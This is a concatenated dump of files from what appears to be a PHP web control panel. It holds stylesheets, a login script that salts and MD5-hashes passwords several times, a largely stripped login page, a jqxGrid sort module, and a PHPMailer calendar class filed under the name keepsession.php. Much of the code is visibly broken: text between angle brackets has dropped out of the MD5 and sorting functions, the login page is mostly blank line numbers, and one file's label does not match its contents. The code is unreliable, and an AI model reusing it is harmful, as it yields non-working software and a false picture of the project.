input{line-height:20px;font-size:15px;padding:3px 5px;border:1px solid #ddd;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.07);box-shadow:inset 0 1px 2px rgba(0,0,0,0.07)}input,submit{font-family:'Microsoft YaHei',"Open Sans",sans-serif}.form-table input[type=text],.form-table input[type=email],.form-table input[type=url],.form-table input[type=password]{width:206px}.form-table th p{font-weight:normal}.form-table.install-success th,.form-table.install-success td{vertical-align:middle;padding:16px 20px 16px 0}.form-table.install-success td p{margin:0;font-size:14px}.form-table.install-success td code{margin:0;font-size:18px}.message{border:1px solid #c00;padding:.5em .7em;margin:5px 0 15px;background-color:#ffebe8}.form-table span.description.important{font-size:12px}body.rtl,.rtl textarea,.rtl input,.rtl submit{font-family:'Microsoft YaHei',Tahoma,sans-serif}:lang(he-il) body.rtl,:lang(he-il) .rtl textarea,:lang(he-il) .rtl input,:lang(he-il) .rtl submit{font-family:'Microsoft YaHei',Arial,sans-serif}@media only screen and (max-width:799px){body{margin-top:115px}#logo a{margin:-125px auto 30px}}@media screen and (max-width:782px){.form-table{margin-top:0}.form-table th,.form-table td{display:block;width:auto;vertical-align:middle}.form-table th{padding:20px 0 0}.form-table td{padding:5px 0;border:0;margin:0}textarea,input{font-size:16px}.form-table td input[type="text"],.form-table td input[type="email"],.form-table td input[type="url"],.form-table td input[type="password"],.form-table td select,.form-table td textarea,.form-table span.description{width:100%;font-size:16px;line-height:1.5;padding:7px 10px;display:block;max-width:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}}#encrypt_enable,#keep_session_enable,#mail_enable,#xff_enable,#admin_ip_check_enable{margin-right:200px}.core-ui .button{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:0 1px 0 #ccc;box-shadow:0 1px 0 #ccc;vertical-align:top;display:inline-block;text-decoration:none;font-size:13px;line-height:26px;height:28px;margin:0;padding:0 10px 1px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;-webkit-border-radius:3px;border-radius:3px;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} -------------------------------------------------------------------------------- /src/css/login.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0px; 3 | padding: 0px; 4 | } 5 | 6 | body { 7 | background: #222526; 8 | position: relative; 9 | font-family: 'Microsoft YaHei',verdana; 10 | } 11 | 12 | #loginform { 13 | position: relative; 14 | width: 300px; 15 | left: 50%; 16 | margin-left: -150px; 17 | top: 45%; 18 | height: 190px; 19 | margin-top: -190px; 20 | } 21 | 22 | input { 23 | display: block; 24 | margin: 21px auto 15px; 25 | border-radius: 5px; 26 | background: #333333; 27 | width: 85%; 28 | padding: 12px 20px 12px 10px; 29 | border: none; 30 | color: #929999; 31 | box-shadow: inset 0px 1px 5px #272727; 32 | font-size: 0.8em; 33 | -webkit-transition: 0.5s ease; 34 | -moz-transition: 0.5s ease; 35 | -o-transition: 0.5s ease; 36 | -ms-transition: 0.5s ease; 37 | transition: 0.5s ease; 38 | } 39 | 40 | input:focus { 41 | -webkit-transition: 0.5s ease; 42 | -moz-transition: 0.5s ease; 43 | -o-transition: 0.5s ease; 44 | -ms-transition: 0.5s ease; 45 | transition: 0.5s ease; 46 | box-shadow: 0px 0px 5px 1px #161718; 47 | } 48 | 49 | button { 50 | background: #ff5f32; 51 | border-radius: 50%; 52 | border: 10px solid #222526; 53 | font-size: 0.9em; 54 | color: #fff; 55 | font-weight: bold; 56 | cursor: pointer; 57 | width: 85px; 58 | height: 85px; 59 | position: absolute; 60 | right: -42px; 61 | top: 54px; 62 | text-align: center; 63 | -webkit-transition: 0.5s ease; 64 | -moz-transition: 0.5s ease; 65 | -o-transition: 0.5s ease; 66 | -ms-transition: 0.5s ease; 67 | transition: 0.5s ease; 68 | } 69 | 70 | button:hover { 71 | background: #222526; 72 | border-color: #ff5f32; 73 | -webkit-transition: 0.5s ease; 74 | -moz-transition: 0.5s ease; 75 | -o-transition: 0.5s ease; 76 | -ms-transition: 0.5s ease; 77 | transition: 0.5s ease; 78 | } 79 | 80 | button i { 81 | font-size: 20px; 82 | -webkit-transition: 0.5s ease; 83 | -moz-transition: 0.5s ease; 84 | -o-transition: 0.5s ease; 85 | -ms-transition: 0.5s ease; 86 | transition: 0.5s ease; 87 | } 88 | 89 | button:hover i { 90 | color: #ff5f32; 91 | -webkit-transition: 0.5s ease; 92 | -moz-transition: 0.5s ease; 93 | -o-transition: 0.5s ease; 94 | -ms-transition: 0.5s ease; 95 | transition: 0.5s ease; 96 | } 97 | 98 | *:focus { 99 | outline: none; 100 | } 101 | 102 | ::-webkit-input-placeholder { 103 | color: #929999; 104 | } 105 | 106 | :-moz-placeholder { 107 | /* Firefox 18- */ 108 | color: #929999; 109 | } 110 | 111 | ::-moz-placeholder { 112 | /* Firefox 19+ */ 113 | color: #929999; 114 | } 115 | 116 | :-ms-input-placeholder { 117 | color: #929999; 118 | } 119 | 120 | h1 { 121 | text-align: center; 122 | color: #fff; 123 | font-size: 16px; 124 | padding: 12px 0px; 125 | } 126 | 127 | #note { 128 | color: #88887a; 129 | font-size: 0.8em; 130 | text-align: left; 131 | padding-left: 5px; 132 | } 133 | 134 | a { 135 | color: #88887a; 136 | text-decoration: none; 137 | -webkit-transition: 0.5s ease; 138 | -moz-transition: 0.5s ease; 139 | -o-transition: 0.5s ease; 140 | -ms-transition: 0.5s ease; 141 | transition: 0.5s ease; 142 | } 143 | 144 | a:hover { 145 | color: #fff; 146 | margin-left: 5px; 147 | -webkit-transition: 0.5s ease; 148 | -moz-transition: 0.5s ease; 149 | -o-transition: 0.5s ease; 150 | -ms-transition: 0.5s ease; 151 | transition: 0.5s ease; 152 | } 153 | 154 | #mainlogin { 155 | float: left; 156 | width: 250px; 157 | height: 170px; 158 | padding: 10px 15px; 159 | position: relative; 160 | background: #555555; 161 | border-radius: 3px; 162 | -moz-box-shadow: 0px 0px 10px rgba(0,0,0,0.5); 163 | -webkit-box-shadow: 0px 0px 10px rgba(0,0,0,0.5); 164 | box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); 165 | } 166 | 167 | #logo { 168 | background: url(../images/logo.png); 169 | height: 180px; 170 | width: 300px; 171 | margin-left: 17px; 172 | margin-bottom: 10px; 173 | background-repeat: no-repeat; 174 | } -------------------------------------------------------------------------------- /static/js/login.min.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){$("#submit").removeAttr("disabled");$("#submit").click(function(f){if(""===$("#password").val())return!1;$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+$("#firesunCheck").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+$("#firesunCheck").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));$("#password").val(md5("!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"+$("#password").val()+$("#firesunCheck").val()+"!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl"));return!0});$("#note").click(function(f){alert("\u795e\u4ed9\u96be\u6551")})});function md5cycle(f,c){var b=f[0],a=f[1],d=f[2],e=f[3],b=ff(b,a,d,e,c[0],7,-680876936),e=ff(e,b,a,d,c[1],12,-389564586),d=ff(d,e,b,a,c[2],17,606105819),a=ff(a,d,e,b,c[3],22,-1044525330),b=ff(b,a,d,e,c[4],7,-176418897),e=ff(e,b,a,d,c[5],12,1200080426),d=ff(d,e,b,a,c[6],17,-1473231341),a=ff(a,d,e,b,c[7],22,-45705983),b=ff(b,a,d,e,c[8],7,1770035416),e=ff(e,b,a,d,c[9],12,-1958414417),d=ff(d,e,b,a,c[10],17,-42063),a=ff(a,d,e,b,c[11],22,-1990404162),b=ff(b,a,d,e,c[12],7,1804603682),e=ff(e,b,a,d,c[13],12,-40341101),d=ff(d,e,b,a,c[14],17,-1502002290),a=ff(a,d,e,b,c[15],22,1236535329),b=gg(b,a,d,e,c[1],5,-165796510),e=gg(e,b,a,d,c[6],9,-1069501632),d=gg(d,e,b,a,c[11],14,643717713),a=gg(a,d,e,b,c[0],20,-373897302),b=gg(b,a,d,e,c[5],5,-701558691),e=gg(e,b,a,d,c[10],9,38016083),d=gg(d,e,b,a,c[15],14,-660478335),a=gg(a,d,e,b,c[4],20,-405537848),b=gg(b,a,d,e,c[9],5,568446438),e=gg(e,b,a,d,c[14],9,-1019803690),d=gg(d,e,b,a,c[3],14,-187363961),a=gg(a,d,e,b,c[8],20,1163531501),b=gg(b,a,d,e,c[13],5,-1444681467),e=gg(e,b,a,d,c[2],9,-51403784),d=gg(d,e,b,a,c[7],14,1735328473),a=gg(a,d,e,b,c[12],20,-1926607734),b=hh(b,a,d,e,c[5],4,-378558),e=hh(e,b,a,d,c[8],11,-2022574463),d=hh(d,e,b,a,c[11],16,1839030562),a=hh(a,d,e,b,c[14],23,-35309556),b=hh(b,a,d,e,c[1],4,-1530992060),e=hh(e,b,a,d,c[4],11,1272893353),d=hh(d,e,b,a,c[7],16,-155497632),a=hh(a,d,e,b,c[10],23,-1094730640),b=hh(b,a,d,e,c[13],4,681279174),e=hh(e,b,a,d,c[0],11,-358537222),d=hh(d,e,b,a,c[3],16,-722521979),a=hh(a,d,e,b,c[6],23,76029189),b=hh(b,a,d,e,c[9],4,-640364487),e=hh(e,b,a,d,c[12],11,-421815835),d=hh(d,e,b,a,c[15],16,530742520),a=hh(a,d,e,b,c[2],23,-995338651),b=ii(b,a,d,e,c[0],6,-198630844),e=ii(e,b,a,d,c[7],10,1126891415),d=ii(d,e,b,a,c[14],15,-1416354905),a=ii(a,d,e,b,c[5],21,-57434055),b=ii(b,a,d,e,c[12],6,1700485571),e=ii(e,b,a,d,c[3],10,-1894986606),d=ii(d,e,b,a,c[10],15,-1051523),a=ii(a,d,e,b,c[1],21,-2054922799),b=ii(b,a,d,e,c[8],6,1873313359),e=ii(e,b,a,d,c[15],10,-30611744),d=ii(d,e,b,a,c[6],15,-1560198380),a=ii(a,d,e,b,c[13],21,1309151649),b=ii(b,a,d,e,c[4],6,-145523070),e=ii(e,b,a,d,c[11],10,-1120210379),d=ii(d,e,b,a,c[2],15,718787259),a=ii(a,d,e,b,c[9],21,-343485551);f[0]=add32(b,f[0]);f[1]=add32(a,f[1]);f[2]=add32(d,f[2]);f[3]=add32(e,f[3])}function cmn(f,c,b,a,d,e){c=add32(add32(c,f),add32(a,e));return add32(c<>>32-d,b)}function ff(f,c,b,a,d,e,g){return cmn(c&b|~c&a,f,c,d,e,g)}function gg(f,c,b,a,d,e,g){return cmn(c&a|b&~a,f,c,d,e,g)}function hh(f,c,b,a,d,e,g){return cmn(c^b^a,f,c,d,e,g)}function ii(f,c,b,a,d,e,g){return cmn(b^(c|~a),f,c,d,e,g)}function md51(f){var c=f.length,b=[1732584193,-271733879,-1732584194,271733878],a;for(a=64;a<=f.length;a+=64)md5cycle(b,md5blk(f.substring(a-64,a)));f=f.substring(a-64);var d=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(a=0;a>2]|=f.charCodeAt(a)<<(a%4<<3);d[a>>2]|=128<<(a%4<<3);if(55a;a++)d[a]=0;d[14]=8*c;md5cycle(b,d);return b}function md5blk(f){var c=[],b;for(b=0;64>b;b+=4)c[b>>2]=f.charCodeAt(b)+(f.charCodeAt(b+1)<<8)+(f.charCodeAt(b+2)<<16)+(f.charCodeAt(b+3)<<24);return c}var hex_chr="0123456789abcdef".split("");function rhex(f){for(var c="",b=0;4>b;b++)c+=hex_chr[f>>8*b+4&15]+hex_chr[f>>8*b&15];return c}function hex(f){for(var c=0;c>16)+(c>>16)+(b>>16)<<16|b&65535}); -------------------------------------------------------------------------------- /login.php: -------------------------------------------------------------------------------- 1 | 77 | 78 | 79 | 80 | 81 | 登录 82 | 83 | 84 | 85 | 86 | 87 | '; 90 | ?> 91 | 92 | 93 | 94 |
95 | 96 |
97 |

98 | 登录控制面板 99 |

100 |
101 | 102 | /> 107 | 108 | 112 | 113 |
114 | 119 |
120 |
121 | 122 | 123 | -------------------------------------------------------------------------------- /keepsession.php: -------------------------------------------------------------------------------- 1 | 5 | * @author Manuel Reinhard 6 | * 7 | * Built with inspiration from 8 | * http://stackoverflow.com/questions/1463480/how-can-i-use-php-to-dynamically-publish-an-ical-file-to-be-read-by-google-calend/1464355#1464355 9 | * History: 10 | * 2010/12/17 - Manuel Reinhard - when it all started 11 | * 2014 PHPMailer project becomes maintainer 12 | */ 13 | 14 | /** 15 | * Class EasyPeasyICS. 16 | * Simple ICS data generator 17 | * @package phpmailer 18 | * @subpackage easypeasyics 19 | */ 20 | class EasyPeasyICS 21 | { 22 | /** 23 | * The name of the calendar 24 | * @var string 25 | */ 26 | protected $calendarName; 27 | /** 28 | * The array of events to add to this calendar 29 | * @var array 30 | */ 31 | protected $events = array(); 32 | 33 | /** 34 | * Constructor 35 | * @param string $calendarName 36 | */ 37 | public function __construct($calendarName = "") 38 | { 39 | $this->calendarName = $calendarName; 40 | } 41 | 42 | /** 43 | * Add an event to this calendar. 44 | * @param string $start The start date and time as a unix timestamp 45 | * @param string $end The end date and time as a unix timestamp 46 | * @param string $summary A summary or title for the event 47 | * @param string $description A description of the event 48 | * @param string $url A URL for the event 49 | * @param string $uid A unique identifier for the event - generated automatically if not provided 50 | * @return array An array of event details, including any generated UID 51 | */ 52 | public function addEvent($start, $end, $summary = '', $description = '', $url = '', $uid = '') 53 | { 54 | if (empty($uid)) { 55 | $uid = md5(uniqid(mt_rand(), true)) . '@EasyPeasyICS'; 56 | } 57 | $event = array( 58 | 'start' => gmdate('Ymd', $start) . 'T' . gmdate('His', $start) . 'Z', 59 | 'end' => gmdate('Ymd', $end) . 'T' . gmdate('His', $end) . 'Z', 60 | 'summary' => $summary, 61 | 'description' => $description, 62 | 'url' => $url, 63 | 'uid' => $uid 64 | ); 65 | $this->events[] = $event; 66 | return $event; 67 | } 68 | 69 | /** 70 | * @return array Get the array of events. 71 | */ 72 | public function getEvents() 73 | { 74 | return $this->events; 75 | } 76 | 77 | /** 78 | * Clear all events. 79 | */ 80 | public function clearEvents() 81 | { 82 | $this->events = array(); 83 | } 84 | 85 | /** 86 | * Get the name of the calendar. 87 | * @return string 88 | */ 89 | public function getName() 90 | { 91 | return $this->calendarName; 92 | } 93 | 94 | /** 95 | * Set the name of the calendar. 96 | * @param $name 97 | */ 98 | public function setName($name) 99 | { 100 | $this->calendarName = $name; 101 | } 102 | 103 | /** 104 | * Render and optionally output a vcal string. 105 | * @param bool $output Whether to output the calendar data directly (the default). 106 | * @return string The complete rendered vlal 107 | */ 108 | public function render($output = true) 109 | { 110 | //Add header 111 | $ics = 'BEGIN:VCALENDAR 112 | METHOD:PUBLISH 113 | VERSION:2.0 114 | X-WR-CALNAME:' . $this->calendarName . ' 115 | PRODID:-//hacksw/handcal//NONSGML v1.0//EN'; 116 | 117 | //Add events 118 | foreach ($this->events as $event) { 119 | $ics .= ' 120 | BEGIN:VEVENT 121 | UID:' . $event['uid'] . ' 122 | DTSTAMP:' . gmdate('Ymd') . 'T' . gmdate('His') . 'Z 123 | DTSTART:' . $event['start'] . ' 124 | DTEND:' . $event['end'] . ' 125 | SUMMARY:' . str_replace("\n", "\\n", $event['summary']) . ' 126 | DESCRIPTION:' . str_replace("\n", "\\n", $event['description']) . ' 127 | URL;VALUE=URI:' . $event['url'] . ' 128 | END:VEVENT'; 129 | } 130 | 131 | //Add footer 132 | $ics .= ' 133 | END:VCALENDAR'; 134 | 135 | if ($output) { 136 | //Output 137 | $filename = $this->calendarName; 138 | //Filename needs quoting if it contains spaces 139 | if (strpos($filename, ' ') !== false) { 140 | $filename = '"'.$filename.'"'; 141 | } 142 | header('Content-type: text/calendar; charset=utf-8'); 143 | header('Content-Disposition: inline; filename=' . $filename . '.ics'); 144 | echo $ics; 145 | } 146 | return $ics; 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /src/js/jqxgrid.sort.js: -------------------------------------------------------------------------------- 1 | /* 2 | jQWidgets v3.9.0 (2015-Oct) 3 | Copyright (c) 2011-2015 jQWidgets. 4 | License: http://jqwidgets.com/license/ 5 | */ 6 | 7 | (function(a){a.jqx.dataview.sort=function(){this.sortby=function(d,f,p){var m=Object.prototype.toString;if(f==null){this.sortdata=null;this.sortcache={};this.grid._pagescache=new Array();this.grid._cellscache=new Array();this.refresh();return}if(f==undefined){f=true}if(f=="a"||f=="asc"||f=="ascending"||f==true){f=true}else{f=false}var g=d;this.sortfield=d;this.sortfielddirection=f?"asc":"desc";if(this.sortcache==undefined){this.sortcache={}}this.sortdata=[];var b=[];var c=false;if(g=="constructor"){g=""}if(!this.virtualmode&&this.sortcache[g]!=null){var o=this.sortcache[g];b=o._sortdata;if(o.direction==f){b.reverse()}else{if(!o.direction&&f){b.reverse()}c=true}if(b.lengthb){return 1}return 0;case"date":case"time":if(cb){return 1}return 0;case"string":case"text":c=String(c).toLowerCase();b=String(b).toLowerCase();break}}else{if(a.jqx.dataFormat.isNumber(c)&&a.jqx.dataFormat.isNumber(b)){if(cb){return 1}return 0}else{if(a.jqx.dataFormat.isDate(c)&&a.jqx.dataFormat.isDate(b)){if(cb){return 1}return 0}else{if(!a.jqx.dataFormat.isNumber(c)&&!a.jqx.dataFormat.isNumber(b)){c=String(c).toLowerCase();b=String(b).toLowerCase()}}}}}try{if(cb){return 1}}catch(d){var f=d}return 0};this._equals=function(c,b){return(this._compare(c,b)===0)}};a.extend(a.jqx._jqxGrid.prototype,{_rendersortcolumn:function(){var b=this.that;var d=this.getsortcolumn();if(this.sortdirection){var c=function(f,g){var e=b.getcolumn(f);if(e){if(g.ascending){a.jqx.aria(e.element,"aria-sort","ascending")}else{if(g.descending){a.jqx.aria(e.element,"aria-sort","descending")}else{a.jqx.aria(e.element,"aria-sort","none")}}}};if(this._oldsortinfo){if(this._oldsortinfo.column){c(this._oldsortinfo.column,{ascending:false,descending:false})}}c(d,this.sortdirection)}this._oldsortinfo={column:d,direction:this.sortdirection};if(this.sortdirection){a.each(this.columns.records,function(f,g){var e=a.data(document.body,"groupsortelements"+this.displayfield);if(d==null||this.displayfield!=d){a(this.sortasc).hide();a(this.sortdesc).hide();if(e!=null){e.sortasc.hide();e.sortdesc.hide()}}else{if(b.sortdirection.ascending){a(this.sortasc).show();a(this.sortdesc).hide();if(e!=null){e.sortasc.show();e.sortdesc.hide()}}else{a(this.sortasc).hide();a(this.sortdesc).show();if(e!=null){e.sortasc.hide();e.sortdesc.show()}}}})}},getsortcolumn:function(){if(this.sortcolumn!=undefined){return this.sortcolumn}return null},removesort:function(){this.sortby(null)},sortby:function(d,g,f,e,b){if(this._loading&&b!==false){throw new Error("jqxGrid: "+this.loadingerrormessage);return false}if(d==null){g=null;d=this.sortcolumn}if(d!=undefined){var c=this.that;if(f==undefined&&c.source.sortcomparer!=null){f=c.source.sortcomparer}if(g=="a"||g=="asc"||g=="ascending"||g==true){ascending=true}else{ascending=false}if(g!=null){c.sortdirection={ascending:ascending,descending:!ascending}}else{c.sortdirection={ascending:false,descending:false}}if(g!=null){c.sortcolumn=d}else{c.sortcolumn=null}if(c.source.sort||c.virtualmode){c.dataview.sortfield=d;if(g==null){c.dataview.sortfielddirection=""}else{c.dataview.sortfielddirection=ascending?"asc":"desc"}if(c.source.sort&&!this._loading){c.source.sort(d,g);c._raiseEvent(6,{sortinformation:c.getsortinformation()});return}}else{c.dataview.sortby(d,g,f)}if(e===false){return}if(c.groupable&&c.groups.length>0){c._render(true,false,false);if(c._updategroupheadersbounds&&c.showgroupsheader){c._updategroupheadersbounds()}}else{if(c.pageable){c.dataview.updateview()}c._updaterowsproperties();c.rendergridcontent(true)}c._raiseEvent(6,{sortinformation:c.getsortinformation()})}},_togglesort:function(d){var b=this.that;if(this.disabled){return}if(d.sortable&&b.sortable){var c=b.getsortinformation();var e=null;if(c.sortcolumn!=null&&c.sortcolumn==d.displayfield){e=c.sortdirection.ascending;if(b.sorttogglestates>1){if(e==true){e=false}else{e=null}}else{e=!e}}else{e=true}b.sortby(d.displayfield,e,null)}}})})(jqxBaseFramework); -------------------------------------------------------------------------------- /src/css/notification.css: -------------------------------------------------------------------------------- 1 | #notifications-bottom-right { 2 | position: absolute; 3 | width: 360px; 4 | right: 20px; 5 | bottom: 40px; 6 | } 7 | 8 | .webpushtipoutter { 9 | z-index: 9999; 10 | position: absolute; 11 | right: 5px; 12 | bottom: 5px; 13 | _width: 330px; 14 | } 15 | 16 | .webpushtipinner { 17 | position: relative; 18 | height: 66px; 19 | padding: 7px; 20 | } 21 | 22 | .newmailNotifyBox { 23 | position: absolute; 24 | bottom: 0; 25 | right: 0; 26 | z-index: 5; 27 | padding: 8px 17px 7px 0; 28 | overflow: hidden; 29 | } 30 | 31 | .newmailNotifyItem { 32 | position: relative; 33 | width: 305px; 34 | height: 69px; 35 | margin-bottom: 10px; 36 | padding: 1px; 37 | border-radius: 5px; 38 | -webkit-border-radius: 5px; 39 | box-shadow: 0 2px 5px rgba(0,0,0,0.2); 40 | -webkit-box-shadow: 0 2px 5px rgba(0,0,0,0.2); 41 | background: #ADBFC8; 42 | background: -moz-linear-gradient(top,#C4D1D7,#98AFBA); 43 | background: -webkit-gradient(linear,0 0,0 bottom,from(#C4D1D7),to(#98AFBA)); 44 | background: -o-linear-gradient(top,#C4D1D7,#98AFBA); 45 | -moz-transition: box-shadow 1s; 46 | } 47 | 48 | .newmailNotifyItem:hover .newmailNotify { 49 | box-shadow: 0 0 5px #8EC7EF inset; 50 | -webkit-box-shadow: 0 0 5px #8EC7EF inset; 51 | } 52 | 53 | .newmailNotifyItem:hover .notify_type { 54 | background: transparent; 55 | *background: #EEF6F9; 56 | } 57 | 58 | .newmailNotify { 59 | height: 66px; 60 | background: #F7FDFF; 61 | cursor: pointer; 62 | border-radius: 5px; 63 | -webkit-border-radius: 5px; 64 | box-shadow: 0 0 9px #E5EFF5 inset; 65 | -webkit-box-shadow: 0 0 9px #E5EFF5 inset; 66 | } 67 | 68 | .newmailNotify .notify_close { 69 | position: absolute; 70 | top: -6px; 71 | top: 4px\9; 72 | right: -6px; 73 | right: 4px\9; 74 | width: 15px; 75 | height: 15px; 76 | height: 14px\9; 77 | overflow: hidden; 78 | background: url(../images/mail.png) no-repeat -106px -18px #B6CFDA; 79 | opacity: 0; 80 | filter: alpha(opacity=0); 81 | border-radius: 10px; 82 | -webkit-border-radius: 10px; 83 | -moz-transition: opacity 0.2s ease; 84 | -webkit-transition: opacity 0.1s ease; 85 | _filter: alpha(opacity=100); 86 | } 87 | 88 | .newmailNotify:hover .notify_close:hover,.hover .notify_close:hover { 89 | opacity: 1; 90 | filter: alpha(opacity=100); 91 | } 92 | 93 | .newmailNotify:hover .notify_close:active,.hover .notify_close:active { 94 | opacity: 1; 95 | filter: alpha(opacity=100); 96 | } 97 | 98 | .newmailNotify:hover .notify_close,.hover .notify_close { 99 | opacity: 0.8; 100 | filter: alpha(opacity=80); 101 | } 102 | 103 | .newmailNotify .notify_type { 104 | position: relative; 105 | float: left; 106 | width: 60px; 107 | height: 66px; 108 | border-right: 1px solid #CBDAE1; 109 | background: #EEF6F9; 110 | border-radius: 5px 0 0 5px; 111 | -webkit-border-radius: 5px 0 0 5px; 112 | } 113 | 114 | .newmailNotify .notify_type span { 115 | display: inline-block; 116 | width: 32px; 117 | height: 34px; 118 | margin: 16px 0 0 16px; 119 | background: url(../images/notify_letter.png) no-repeat; 120 | } 121 | 122 | .newmailNotify .notify_type label { 123 | position: absolute; 124 | top: 12px; 125 | right: 10px; 126 | +right: 5px; 127 | text-align: center; 128 | overflow: visible; 129 | } 130 | 131 | .newmailNotify .notify_type em { 132 | display: inline-block; 133 | cursor: pinter; 134 | min-width: 13px; 135 | margin-right: -50%; 136 | +margin-right: 0; 137 | padding: 0 2px; 138 | +padding: 0 2px 2px; 139 | border: 1px solid white; 140 | line-height: 15px; 141 | color: white; 142 | font-weight: bold; 143 | font-style: normal; 144 | background: #D40707; 145 | border-radius: 8px; 146 | -webkit-border-radius: 8px; 147 | background: -moz-linear-gradient(top,#E80505,#C70909); 148 | background: -webkit-gradient(linear,0 0,0 bottom,from(#E80505),to(#C70909)); 149 | background: -o-linear-gradient(top,#E80505,#C70909); 150 | } 151 | 152 | @media screen and (-webkit-min-device-pixel-ratio:0) { 153 | .newmailNotify .notify_type em { 154 | border: none; 155 | }; 156 | } 157 | 158 | .newmailNotify .notify_content { 159 | margin-left: 66px; 160 | overflow: hidden; 161 | width: 230px; 162 | } 163 | 164 | .newmailNotify p { 165 | margin: 0; 166 | padding: 2px 0 1px; 167 | white-space: normal; 168 | white-space: nowrap\9; 169 | _white-space: normal; 170 | height: auto\9; 171 | _height: 16px; 172 | _line-height: 16px; 173 | overflow: hidden; 174 | text-overflow: ellipsis; 175 | } 176 | 177 | @media screen and (-webkit-min-device-pixel-ratio:0) { 178 | .newmailNotify p { 179 | margin-top: 2px; 180 | white-space: nowrap; 181 | overflow: hidden; 182 | text-overflow: ellipsis; 183 | }; 184 | } 185 | 186 | .newmailNotify .notify_location { 187 | padding: 7px 0 1px; 188 | font-size: 12px; 189 | font-weight: bold; 190 | } 191 | 192 | .newmailNotify .notify_digest { 193 | color: #8596A9; 194 | padding-top: 2px; 195 | } -------------------------------------------------------------------------------- /static/css/main.min.css: -------------------------------------------------------------------------------- 1 | html,body,div,span,iframe,h1,h2,h3,h4,h5,h6,p,a,img,dl,dt,dd,ol,ul,li,table,tfoot,thead,tr,th,td,article,aside,canvas,details,footer,header,section{margin:0;padding:0;border:0;font-size:100%;font:inherit}body{line-height:1;font-size:12px}ol,ul{list-style:none}html,body{height:100%;font-family:'Microsoft YaHei','Open Sans',arial,sans-serif}html,body,.container-fluid,.row,.column{height:100%}@font-face{font-family:'icomoon';src:url('../fonts/icomoon.eot?c8m22a');src:url('../fonts/icomoon.eot?#iefixc8m22a') format('embedded-opentype'),url('../fonts/icomoon.woff?c8m22a') format('woff'),url('../fonts/icomoon.ttf?c8m22a') format('truetype'),url('../fonts/icomoon.svg?c8m22a#icomoon') format('svg');font-weight:normal;font-style:normal}[class^="icon-"],[class*=" icon-"]{font-family:'icomoon';speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-logout:before{content:"\e900"}.icon-info:before{content:"\e904"}.icon-template:before{content:"\e901"}.icon-my-js:before{content:"\e903"}.icon-panel:before{content:"\e902"}.icon{margin-right:.917em}.row,.container-fluid{padding:0;margin:0}.column{padding-left:0;padding-right:0}#nav-section{background-color:#35373d;width:220px;float:left;height:100%}#nav-section li{border-bottom:1px solid #4a4b51;white-space:nowrap;font-size:11px;line-height:11px}#nav-section li a{color:#b8bbc2;text-transform:uppercase;text-decoration:none;margin-left:2em;font-size:14px;padding:2em 1.2em}#nav-section li:hover{background-color:#212329}#nav-section li.active{background-color:#0d1016}.nav>li>a:hover,.nav>li>a:focus{background:0}#dash-logo{color:#fff;background-color:#1996e4;text-align:center}#sidebar-nav{padding:0}#rights{width:100%;color:#848690;font-size:12px;position:absolute;bottom:10px;text-align:center;line-height:120%}#toggle-button{margin-top:27px;border:0}#toggle-button:hover,#toggle-button:focus{background-color:transparent}#toggle-button .icon-bar{background-color:#fff}.main-section{float:none;width:auto;overflow:hidden;height:100%;background-color:#eee}#dash-logo,.main-section-header>h2{font-size:18px;text-transform:uppercase;line-height:26px;padding-top:30px;padding-bottom:30px}.main-section-header>h2{padding-left:1.667em;white-space:nowrap}.main-section-header{height:auto;border-bottom:1px solid #ededee;-moz-box-shadow:1px 0 4px #ededee;-webkit-box-shadow:1px 0 4px #ededee;box-shadow:1px 0 4px #ededee;background-color:#fff}.overflow-hidden{overflow:hidden}.display-none{display:none}.clear{clear:both}.windows{-moz-box-shadow:0 0 10px rgba(0,0,0,0.5);-webkit-box-shadow:0 0 10px rgba(0,0,0,0.5);box-shadow:0 0 10px rgba(0,0,0,0.5)}.windows-tip-div{margin:3px}.windows-button-div{float:right;margin-top:15px}.windows-button{margin-right:10px}#search_input_field{width:200px;height:23px}.dropdownlist{margin-top:5px}.search_div{margin-top:7px;clear:both}.search_input_field{margin-top:5px}#findButton{margin-top:15px;margin-left:50px;float:left}#clearButton{margin-left:5px;margin-top:15px;float:left}.listbox{border:0}.listbox_toolbar{position:relative;height:40px}#myJS_add_button,#myJS_del_button,#myJS_clear_button,#jsTemplate_add_button,#jsTemplate_del_button,#jsTemplate_clear_button{float:left;margin-left:5px}.listbox_toolbar_button_icon{position:relative;margin-top:2px}.listbox_toolbar_button_span{margin-left:4px;position:relative;top:3px}.listbox_item_table{min-width:130px}.listbox_item_img{width:40px}.listbox_item_name{padding:0 5px;font-weight:bold;font-size:14px}.listbox_item_description{padding:0 5px}.js_content_panel{margin:20px}.js_content_div{margin:5px}.js_content_button_div{text-align:center;margin:5px auto}.editor{border:1px solid #d4d4d4;margin:10px 